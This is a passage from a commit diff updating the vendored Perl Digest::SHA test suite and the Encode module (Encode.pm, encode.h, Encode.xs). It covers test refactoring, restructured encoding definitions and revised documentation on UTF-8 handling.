 	"248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1",
 );
 
-my $numtests = 9 + scalar @out;
+my $numtests = 6 + scalar @out;
 print "1..$numtests\n";
 
 	# attempt to use an invalid algorithm, and check for failure
@@ -28,11 +14,11 @@
 
 my $testnum = 1;
 my $NSA = "SHA-42";	# No Such Algorithm
-print "not " if $MODULE->new($NSA);
+print "not " if Digest::SHA->new($NSA);
 print "ok ", $testnum++, "\n";
 
 my $tempfile = "methods.tmp";
-END { 1 while unlink $tempfile }
+END { unlink $tempfile if $tempfile }
 
 	# test OO methods using first two SHA-256 vectors from NIST
 
@@ -41,7 +27,7 @@
 print $fh "bcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq";
 $fh->close;
 
-my $sha = $MODULE->new()->reset("SHA-256")->new();
+my $sha = Digest::SHA->new()->reset("SHA-256")->new();
 $sha->add_bits("a", 5)->add_bits("001");
 
 my $rsp = shift(@out);
@@ -72,35 +58,6 @@
 print "not " unless $sha->addfile($tempfile, "b")->hexdigest eq $rsp;
 print "ok ", $testnum++, "\n";
 
-	# test addfile portable mode
-
-$fh = FileHandle->new($tempfile, "w");
-binmode($fh);
-print $fh "abc\012" x 2048;		# using UNIX newline
-$fh->close;
-
-print "not " unless $sha->new(1)->addfile($tempfile, "p")->hexdigest eq
-	"d449e19c1b0b0c191294c8dc9fa2e4a6ff77fc51";
-print "ok ", $testnum++, "\n";
-
-$fh = FileHandle->new($tempfile, "w");
-binmode($fh);
-print $fh "abc\015\012" x 2048;		# using DOS/Windows newline
-$fh->close;
-
-print "not " unless $sha->new(1)->addfile($tempfile, "p")->hexdigest eq
-	"d449e19c1b0b0c191294c8dc9fa2e4a6ff77fc51";
-print "ok ", $testnum++, "\n";
-
-$fh = FileHandle->new($tempfile, "w");
-binmode($fh);
-print $fh "abc\015" x 2048;		# using early-Mac newline
-$fh->close;
-
-print "not " unless $sha->new(1)->addfile($tempfile, "p")->hexdigest eq
-	"d449e19c1b0b0c191294c8dc9fa2e4a6ff77fc51";
-print "ok ", $testnum++, "\n";
-
 	# test addfile "universal newlines" mode
 
 $fh = FileHandle->new($tempfile, "w");

Modified: vendor/perl/dist/cpan/Digest-SHA/t/nistbit.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/nistbit.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/nistbit.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,22 +1,8 @@
 # Test against SHA-1 Sample Vectors from NIST
 
 use strict;
+use Digest::SHA;
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw());
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 my $nist_hashes = <<END_OF_NIST_HASHES;
 DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 ^
 59C4526AA2CC59F9A5F56B5579BA7108E7CCB61A ^
@@ -51,7 +37,7 @@
 my $testnum = 1;
 
 my $message = "";
-my $sha = $MODULE->new(1);
+my $sha = Digest::SHA->new(1);
 for (@lines) {
 	next unless /^[\d ^]/;
 	$message .= $_;

Modified: vendor/perl/dist/cpan/Digest-SHA/t/nistbyte.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/nistbyte.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/nistbyte.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,22 +1,8 @@
 # Test against SHA-1 Sample Vectors from NIST
 
 use strict;
+use Digest::SHA;
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw());
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 my $nist_hashes = <<END_OF_NIST_HASHES;
 DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 ^
 3CDF2936DA2FC556BFA533AB1EB59CE710AC80E5 ^
@@ -51,7 +37,7 @@
 my $testnum = 1;
 
 my $message = "";
-my $sha = $MODULE->new(1);
+my $sha = Digest::SHA->new(1);
 for (@lines) {
 	next unless /^[\d ^]/;
 	$message .= $_;

Modified: vendor/perl/dist/cpan/Digest-SHA/t/rfc2202.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/rfc2202.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/rfc2202.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,20 +1,6 @@
 use strict;
+use Digest::SHA qw(hmac_sha1_hex);
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw(hmac_sha1_hex));
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 my @data = map { eval } <DATA>;
 
 my $numtests = scalar @data;

Modified: vendor/perl/dist/cpan/Digest-SHA/t/sha1.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/sha1.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/sha1.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,22 +1,7 @@
 use strict;
+use Digest::SHA qw(sha1_hex);
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw(sha1_hex));
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 my @vecs = map { eval } <DATA>;
-$#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl";
 
 my $numtests = scalar(@vecs) / 2;
 print "1..$numtests\n";

Modified: vendor/perl/dist/cpan/Digest-SHA/t/sha224.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/sha224.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/sha224.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,22 +1,7 @@
 use strict;
+use Digest::SHA qw(sha224_hex);
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw(sha224_hex));
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 my @vecs = map { eval } <DATA>;
-$#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl";
 
 my $numtests = scalar(@vecs) / 2;
 print "1..$numtests\n";

Modified: vendor/perl/dist/cpan/Digest-SHA/t/sha256.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/sha256.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/sha256.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,22 +1,7 @@
 use strict;
+use Digest::SHA qw(sha256_hex);
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw(sha256_hex));
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 my @vecs = map { eval } <DATA>;
-$#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl";
 
 my $numtests = scalar(@vecs) / 2;
 print "1..$numtests\n";

Modified: vendor/perl/dist/cpan/Digest-SHA/t/sha384.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/sha384.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/sha384.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,22 +1,7 @@
 use strict;
+use Digest::SHA qw(sha384_hex);
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw(sha384_hex));
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 my @vecs = map { eval } <DATA>;
-$#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl";
 
 my $numtests = scalar(@vecs) / 2;
 print "1..$numtests\n";

Modified: vendor/perl/dist/cpan/Digest-SHA/t/sha512.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/sha512.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/sha512.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,22 +1,7 @@
 use strict;
+use Digest::SHA qw(sha512_hex);
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw(sha512_hex));
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 my @vecs = map { eval } <DATA>;
-$#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl";
 
 my $numtests = scalar(@vecs) / 2;
 print "1..$numtests\n";

Modified: vendor/perl/dist/cpan/Digest-SHA/t/state.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/state.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/state.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,20 +1,6 @@
 use strict;
+use Digest::SHA qw(sha384_hex sha512_hex);
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw(sha384_hex sha512_hex));
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 my @sharsp = (
 	"34aa973cd4c4daa4f61eeb2bdbad27316534016f",
 	"cdc76e5c9914fb9281a1c7e284d73e67f1809a48a497200e046d39ccc7112cd0",
@@ -48,7 +34,7 @@
 	}
 	my $digest;
 	my $state;
-	unless ($state = $MODULE->putstate(shift @states)) {
+	unless ($state = Digest::SHA->putstate(shift @states)) {
 		print "not ok ", $testnum++, "\n";
 		next;
 	}

Modified: vendor/perl/dist/cpan/Digest-SHA/t/unicode.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/unicode.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/unicode.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,20 +1,6 @@
 use strict;
+use Digest::SHA qw(sha1_hex);
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw(sha1_hex));
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 my $skip = $] < 5.006 ? 1 : 0;
 
 my $TEMPLATE = $] >= 5.006 ? 'U*' : 'C*';

Modified: vendor/perl/dist/cpan/Digest-SHA/t/woodbury.t
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/t/woodbury.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/t/woodbury.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,22 +3,8 @@
 # Vectors and initial script courtesy of Adam Woodbury, The MITRE Corporation
 
 use strict;
+use Digest::SHA qw(hmac_sha256 hmac_sha384 hmac_sha512);
 
-my $MODULE;
-
-BEGIN {
-	$MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
-	eval "require $MODULE" || die $@;
-	$MODULE->import(qw(hmac_sha256 hmac_sha384 hmac_sha512));
-}
-
-BEGIN {
-	if ($ENV{PERL_CORE}) {
-		chdir 't' if -d 't';
-		@INC = '../lib';
-	}
-}
-
 my @plex = map { eval } <DATA>;
 
 my $numtests = scalar(@plex) / 3;

Modified: vendor/perl/dist/cpan/Encode/Encode/encode.h
===================================================================
--- vendor/perl/dist/cpan/Encode/Encode/encode.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/Encode/encode.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -88,7 +88,12 @@
 #define ENCODE_FALLBACK 4
 #define ENCODE_FOUND_TERM 5
 
-#define FBCHAR_UTF8		"\xEF\xBF\xBD"
+/* Use the perl core value if available; it is portable to EBCDIC */
+#ifdef REPLACEMENT_CHARACTER_UTF8
+#  define FBCHAR_UTF8		REPLACEMENT_CHARACTER_UTF8
+#else
+#  define FBCHAR_UTF8           "\xEF\xBF\xBD"
+#endif
 
 #define  ENCODE_DIE_ON_ERR     0x0001 /* croaks immediately */
 #define  ENCODE_WARN_ON_ERR    0x0002 /* warn on error; may proceed */

Modified: vendor/perl/dist/cpan/Encode/Encode.pm
===================================================================
--- vendor/perl/dist/cpan/Encode/Encode.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/Encode.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,16 +1,21 @@
 #
-# $Id: Encode.pm,v 2.88 2016/11/29 23:30:30 dankogai Exp dankogai $
+# $Id: Encode.pm,v 2.97 2018/02/21 12:14:24 dankogai Exp $
 #
 package Encode;
 use strict;
 use warnings;
-our $VERSION = sprintf "%d.%02d", q$Revision: 2.88 $ =~ /(\d+)/g;
 use constant DEBUG => !!$ENV{PERL_ENCODE_DEBUG};
-use XSLoader ();
-XSLoader::load( __PACKAGE__, $VERSION );
+our $VERSION;
+BEGIN {
+    $VERSION = sprintf "%d.%02d", q$Revision: 2.97 $ =~ /(\d+)/g;
+    require XSLoader;
+    XSLoader::load( __PACKAGE__, $VERSION );
+}
 
 use Exporter 5.57 'import';
 
+our @CARP_NOT = qw(Encode::Encoder);
+
 # Public, encouraged API is exported by default
 
 our @EXPORT = qw(
@@ -44,8 +49,11 @@
 
 our $ON_EBCDIC = ( ord("A") == 193 );
 
-use Encode::Alias;
+use Encode::Alias ();
+use Encode::MIME::Name;
 
+use Storable;
+
 # Make a %Encoding package variable to allow a certain amount of cheating
 our %Encoding;
 our %ExtModule;
@@ -96,6 +104,9 @@
         my $alias = shift;
         define_alias( $alias, $obj );
     }
+    my $class = ref($obj);
+    push @Encode::CARP_NOT, $class unless grep { $_ eq $class } @Encode::CARP_NOT;
+    push @Encode::Encoding::CARP_NOT, $class unless grep { $_ eq $class } @Encode::Encoding::CARP_NOT;
     return $obj;
 }
 
@@ -127,6 +138,15 @@
     return;
 }
 
+# HACK: These two functions must be defined in Encode and because of
+# cyclic dependency between Encode and Encode::Alias, Exporter does not work
+sub find_alias {
+    goto &Encode::Alias::find_alias;
+}
+sub define_alias {
+    goto &Encode::Alias::define_alias;
+}
+
 sub find_encoding($;$) {
     my ( $name, $skip_external ) = @_;
     return __PACKAGE__->getEncoding( $name, $skip_external );
@@ -134,8 +154,6 @@
 
 sub find_mime_encoding($;$) {
     my ( $mime_name, $skip_external ) = @_;
-    eval { require Encode::MIME::Name; };
-    $@ and return;
     my $name = Encode::MIME::Name::get_encode_name( $mime_name );
     return find_encoding( $name, $skip_external );
 }
@@ -149,8 +167,6 @@
 sub clone_encoding($) {
     my $obj = find_encoding(shift);
     ref $obj or return;
-    eval { require Storable };
-    $@ and return;
     return Storable::dclone($obj);
 }
 
@@ -182,7 +198,7 @@
     else {
         $octets = $enc->encode( $string, $check );
     }
-    $_[1] = $string if $check and !ref $check and !( $check & LEAVE_SRC() );
+    $_[1] = $string if $check and !ref $check and !( $check & LEAVE_SRC );
     return $octets;
 }
 *str2bytes = \&encode;
@@ -211,7 +227,7 @@
     else {
         $string = $enc->decode( $octets, $check );
     }
-    $_[1] = $octets if $check and !ref $check and !( $check & LEAVE_SRC() );
+    $_[1] = $octets if $check and !ref $check and !( $check & LEAVE_SRC );
     return $string;
 }
 *bytes2str = \&decode;
@@ -278,133 +294,87 @@
     $check   ||= 0;
     $utf8enc ||= find_encoding('utf8');
     my $string = $utf8enc->decode( $octets, $check );
-    $_[0] = $octets if $check and !ref $check and !( $check & LEAVE_SRC() );
+    $_[0] = $octets if $check and !ref $check and !( $check & LEAVE_SRC );
     return $string;
 }
 
-# sub decode_utf8($;$) {
-#     my ( $str, $check ) = @_;
-#     return $str if is_utf8($str);
-#     if ($check) {
-#         return decode( "utf8", $str, $check );
-#     }
-#     else {
-#         return decode( "utf8", $str );
-#         return $str;
-#     }
-# }
+onBOOT;
 
-predefine_encodings(1);
-
-#
-# This is to restore %Encoding if really needed;
-#
-
-sub predefine_encodings {
-    require Encode::Encoding;
-    no warnings 'redefine';
-    my $use_xs = shift;
-    if ($ON_EBCDIC) {
-
-        # was in Encode::UTF_EBCDIC
-        package Encode::UTF_EBCDIC;
-        push @Encode::UTF_EBCDIC::ISA, 'Encode::Encoding';
-        *decode = sub {
-            my ( undef, $str, $chk ) = @_;
-            my $res = '';
-            for ( my $i = 0 ; $i < length($str) ; $i++ ) {
-                $res .=
-                  chr(
-                    utf8::unicode_to_native( ord( substr( $str, $i, 1 ) ) )
-                  );
-            }
-            $_[1] = '' if $chk;
-            return $res;
-        };
-        *encode = sub {
-            my ( undef, $str, $chk ) = @_;
-            my $res = '';
-            for ( my $i = 0 ; $i < length($str) ; $i++ ) {
-                $res .=
-                  chr(
-                    utf8::native_to_unicode( ord( substr( $str, $i, 1 ) ) )
-                  );
-            }
-            $_[1] = '' if $chk;
-            return $res;
-        };
-        $Encode::Encoding{Unicode} =
-          bless { Name => "UTF_EBCDIC" } => "Encode::UTF_EBCDIC";
+if ($ON_EBCDIC) {
+    package Encode::UTF_EBCDIC;
+    use parent 'Encode::Encoding';
+    my $obj = bless { Name => "UTF_EBCDIC" } => "Encode::UTF_EBCDIC";
+    Encode::define_encoding($obj, 'Unicode');
+    sub decode {
+        my ( undef, $str, $chk ) = @_;
+        my $res = '';
+        for ( my $i = 0 ; $i < length($str) ; $i++ ) {
+            $res .=
+              chr(
+                utf8::unicode_to_native( ord( substr( $str, $i, 1 ) ) )
+              );
+        }
+        $_[1] = '' if $chk;
+        return $res;
     }
-    else {
-
-        package Encode::Internal;
-        push @Encode::Internal::ISA, 'Encode::Encoding';
-        *decode = sub {
-            my ( undef, $str, $chk ) = @_;
-            utf8::upgrade($str);
-            $_[1] = '' if $chk;
-            return $str;
-        };
-        *encode = \&decode;
-        $Encode::Encoding{Unicode} =
-          bless { Name => "Internal" } => "Encode::Internal";
+    sub encode {
+        my ( undef, $str, $chk ) = @_;
+        my $res = '';
+        for ( my $i = 0 ; $i < length($str) ; $i++ ) {
+            $res .=
+              chr(
+                utf8::native_to_unicode( ord( substr( $str, $i, 1 ) ) )
+              );
+        }
+        $_[1] = '' if $chk;
+        return $res;
     }
-    {
-        # https://rt.cpan.org/Public/Bug/Display.html?id=103253
-        package Encode::XS;
-        push @Encode::XS::ISA, 'Encode::Encoding';
+} else {
+    package Encode::Internal;
+    use parent 'Encode::Encoding';
+    my $obj = bless { Name => "Internal" } => "Encode::Internal";
+    Encode::define_encoding($obj, 'Unicode');
+    sub decode {
+        my ( undef, $str, $chk ) = @_;
+        utf8::upgrade($str);
+        $_[1] = '' if $chk;
+        return $str;
     }
-    {
+    *encode = \&decode;
+}
 
-        # was in Encode::utf8
-        package Encode::utf8;
-        push @Encode::utf8::ISA, 'Encode::Encoding';
+{
+    # https://rt.cpan.org/Public/Bug/Display.html?id=103253
+    package Encode::XS;
+    use parent 'Encode::Encoding';
+}
 
-        #
-        if ($use_xs) {
-            Encode::DEBUG and warn __PACKAGE__, " XS on";
-            *decode = \&decode_xs;
-            *encode = \&encode_xs;
+{
+    package Encode::utf8;
+    use parent 'Encode::Encoding';
+    my %obj = (
+        'utf8'         => { Name => 'utf8' },
+        'utf-8-strict' => { Name => 'utf-8-strict', strict_utf8 => 1 }
+    );
+    for ( keys %obj ) {
+        bless $obj{$_} => __PACKAGE__;
+        Encode::define_encoding( $obj{$_} => $_ );
+    }
+    sub cat_decode {
+        # ($obj, $dst, $src, $pos, $trm, $chk)
+        # currently ignores $chk
+        my ( undef, undef, undef, $pos, $trm ) = @_;
+        my ( $rdst, $rsrc, $rpos ) = \@_[ 1, 2, 3 ];
+        use bytes;
+        if ( ( my $npos = index( $$rsrc, $trm, $pos ) ) >= 0 ) {
+            $$rdst .=
+              substr( $$rsrc, $pos, $npos - $pos + length($trm) );
+            $$rpos = $npos + length($trm);
+            return 1;
         }
-        else {
-            Encode::DEBUG and warn __PACKAGE__, " XS off";
-            *decode = sub {
-                my ( undef, $octets, $chk ) = @_;
-                my $str = Encode::decode_utf8($octets);
-                if ( defined $str ) {
-                    $_[1] = '' if $chk;
-                    return $str;
-                }
-                return undef;
-            };
-            *encode = sub {
-                my ( undef, $string, $chk ) = @_;
-                my $octets = Encode::encode_utf8($string);
-                $_[1] = '' if $chk;
-                return $octets;
-            };
-        }
-        *cat_decode = sub {    # ($obj, $dst, $src, $pos, $trm, $chk)
-                               # currently ignores $chk
-            my ( undef, undef, undef, $pos, $trm ) = @_;
-            my ( $rdst, $rsrc, $rpos ) = \@_[ 1, 2, 3 ];
-            use bytes;
-            if ( ( my $npos = index( $$rsrc, $trm, $pos ) ) >= 0 ) {
-                $$rdst .=
-                  substr( $$rsrc, $pos, $npos - $pos + length($trm) );
-                $$rpos = $npos + length($trm);
-                return 1;
-            }
-            $$rdst .= substr( $$rsrc, $pos );
-            $$rpos = length($$rsrc);
-            return '';
-        };
-        $Encode::Encoding{utf8} =
-          bless { Name => "utf8" } => "Encode::utf8";
-        $Encode::Encoding{"utf-8-strict"} =
-          bless { Name => "utf-8-strict", strict_utf8 => 1 } 
-            => "Encode::utf8";
+        $$rdst .= substr( $$rsrc, $pos );
+        $$rpos = length($$rsrc);
+        return '';
     }
 }
 
@@ -516,14 +486,16 @@
 
   $octets = encode("iso-8859-1", $string);
 
-B<CAVEAT>: When you run C<$octets = encode("utf8", $string)>, then
+B<CAVEAT>: When you run C<$octets = encode("UTF-8", $string)>, then
 $octets I<might not be equal to> $string.  Though both contain the
 same data, the UTF8 flag for $octets is I<always> off.  When you
 encode anything, the UTF8 flag on the result is always off, even when it
-contains a completely valid utf8 string. See L</"The UTF8 flag"> below.
+contains a completely valid UTF-8 string. See L</"The UTF8 flag"> below.
 
 If the $string is C<undef>, then C<undef> is returned.
 
+C<str2bytes> may be used as an alias for C<encode>.
+
 =head3 decode
 
   $string = decode(ENCODING, OCTETS[, CHECK])
@@ -544,7 +516,7 @@
 
   $string = decode("iso-8859-1", $octets);
 
-B<CAVEAT>: When you run C<$string = decode("utf8", $octets)>, then $string
+B<CAVEAT>: When you run C<$string = decode("UTF-8", $octets)>, then $string
 I<might not be equal to> $octets.  Though both contain the same data, the
 UTF8 flag for $string is on.  See L</"The UTF8 flag">
 below.
@@ -551,6 +523,8 @@
 
 If the $string is C<undef>, then C<undef> is returned.
 
+C<bytes2str> may be used as an alias for C<decode>.
+
 =head3 find_encoding
 
   [$obj =] find_encoding(ENCODING)
@@ -559,11 +533,11 @@
 C<undef> if no matching I<ENCODING> is find.  The returned object is
 what does the actual encoding or decoding.
 
-  $utf8 = decode($name, $bytes);
+  $string = decode($name, $bytes);
 
 is in fact
 
-    $utf8 = do {
+    $string = do {
         $obj = find_encoding($name);
         croak qq(encoding "$name" not found) unless ref $obj;
         $obj->decode($bytes);
@@ -575,8 +549,8 @@
 
     my $enc = find_encoding("iso-8859-1");
     while(<>) {
-        my $utf8 = $enc->decode($_);
-        ... # now do something with $utf8;
+        my $string = $enc->decode($_);
+        ... # now do something with $string;
     }
 
 Besides L</decode> and L</encode>, other methods are
@@ -624,13 +598,13 @@
 
 B<CAVEAT>: The following operations may look the same, but are not:
 
-  from_to($data, "iso-8859-1", "utf8"); #1
+  from_to($data, "iso-8859-1", "UTF-8"); #1
   $data = decode("iso-8859-1", $data);  #2
 
 Both #1 and #2 make $data consist of a completely valid UTF-8 string,
 but only #2 turns the UTF8 flag on.  #1 is equivalent to:
 
-  $data = encode("utf8", decode("iso-8859-1", $data));
+  $data = encode("UTF-8", decode("iso-8859-1", $data));
 
 See L</"The UTF8 flag"> below.
 
@@ -655,8 +629,12 @@
 Equivalent to C<$octets = encode("utf8", $string)>.  The characters in
 $string are encoded in Perl's internal format, and the result is returned
 as a sequence of octets.  Because all possible characters in Perl have a
-(loose, not strict) UTF-8 representation, this function cannot fail.
+(loose, not strict) utf8 representation, this function cannot fail.
 
+B<WARNING>: do not use this function for data exchange as it can produce
+not strict utf8 $octets! For strictly valid UTF-8 output use
+C<$octets = encode("UTF-8", $string)>.
+
 =head3 decode_utf8
 
   $string = decode_utf8($octets [, CHECK]);
@@ -663,11 +641,15 @@
 
 Equivalent to C<$string = decode("utf8", $octets [, CHECK])>.
 The sequence of octets represented by $octets is decoded
-from UTF-8 into a sequence of logical characters.
-Because not all sequences of octets are valid UTF-8,
+from (loose, not strict) utf8 into a sequence of logical characters.
+Because not all sequences of octets are valid not strict utf8,
 it is quite possible for this function to fail.
 For CHECK, see L</"Handling Malformed Data">.
 
+B<WARNING>: do not use this function for data exchange as it can produce
+$string with not strict utf8 representation! For strictly valid UTF-8
+$string representation use C<$string = decode("UTF-8", $octets [, CHECK])>.
+
 B<CAVEAT>: the input I<$octets> might be modified in-place depending on
 what is set in CHECK. See L</LEAVE_SRC> if you want your inputs to be
 left unchanged.
@@ -903,15 +885,14 @@
 
 Acts like C<FB_PERLQQ> but U+I<XXXX> is used instead of C<\x{I<XXXX>}>.
 
-Even the fallback for C<decode> must return octets, which are
-then decoded with the character encoding that C<decode> accepts. So for
+Fallback for C<decode> must return decoded string (sequence of characters)
+and takes a list of ordinal values as its arguments. So for
 example if you wish to decode octets as UTF-8, and use ISO-8859-15 as
 a fallback for bytes that are not valid UTF-8, you could write
 
     $str = decode 'UTF-8', $octets, sub {
-        my $tmp = chr shift;
-        from_to $tmp, 'ISO-8859-15', 'UTF-8';
-        return $tmp;
+        my $tmp = join '', map chr, @_;
+        return decode 'ISO-8859-15', $tmp;
     };
 
 =head1 Defining Encodings
@@ -968,38 +949,11 @@
 byte-oriented mode  for when the internal UTF8 flag is off, and the other a
 character-oriented mode for when the internal UTF8 flag is on.
 
-Here is how C<Encode> handles the UTF8 flag.
-
-=over 2
-
-=item *
-
-When you I<encode>, the resulting UTF8 flag is always B<off>.
-
-=item *
-
-When you I<decode>, the resulting UTF8 flag is B<on>--I<unless> you can
-unambiguously represent data.  Here is what we mean by "unambiguously".
-After C<$utf8 = decode("foo", $octet)>,
-
-  When $octet is...   The UTF8 flag in $utf8 is
-  ---------------------------------------------
-  In ASCII only (or EBCDIC only)            OFF
-  In ISO-8859-1                              ON
-  In any other Encoding                      ON
-  ---------------------------------------------
-
-As you see, there is one exception: in ASCII.  That way you can assume
-Goal #1.  And with C<Encode>, Goal #2 is assumed but you still have to be
-careful in the cases mentioned in the B<CAVEAT> paragraphs above.
-
 This UTF8 flag is not visible in Perl scripts, exactly for the same reason
 you cannot (or rather, you I<don't have to>) see whether a scalar contains
 a string, an integer, or a floating-point number.   But you can still peek
 and poke these if you will.  See the next section.
 
-=back
-
 =head2 Messing with Perl's Internals
 
 The following API uses parts of Perl's internals in the current
@@ -1014,6 +968,13 @@
 If I<CHECK> is true, also checks whether I<STRING> contains well-formed
 UTF-8.  Returns true if successful, false otherwise.
 
+Typically only necessary for debugging and testing.  Don't use this flag as
+a marker to distinguish character and binary data, that should be decided
+for each variable when you write your code.
+
+B<CAVEAT>: If I<STRING> has UTF8 flag set, it does B<NOT> mean that
+I<STRING> is UTF-8 encoded and vice-versa.
+
 As of Perl 5.8.1, L<utf8> also has the C<utf8::is_utf8> function.
 
 =head3 _utf8_on

Modified: vendor/perl/dist/cpan/Encode/Encode.xs
===================================================================
--- vendor/perl/dist/cpan/Encode/Encode.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/Encode.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 /*
- $Id: Encode.xs,v 2.39 2016/11/29 23:29:23 dankogai Exp dankogai $
+ $Id: Encode.xs,v 2.43 2018/02/21 12:14:33 dankogai Exp dankogai $
  */
 
 #define PERL_NO_GET_CONTEXT
@@ -35,17 +35,13 @@
 #define SvIV_nomg SvIV
 #endif
 
-#ifdef UTF8_DISALLOW_ILLEGAL_INTERCHANGE
-#   define UTF8_ALLOW_STRICT UTF8_DISALLOW_ILLEGAL_INTERCHANGE
+#ifndef UTF8_DISALLOW_ILLEGAL_INTERCHANGE
+#  define UTF8_DISALLOW_ILLEGAL_INTERCHANGE 0
+#  define UTF8_ALLOW_NON_STRICT (UTF8_ALLOW_FE_FF|UTF8_ALLOW_SURROGATE|UTF8_ALLOW_FFFF)
 #else
-#   define UTF8_ALLOW_STRICT 0
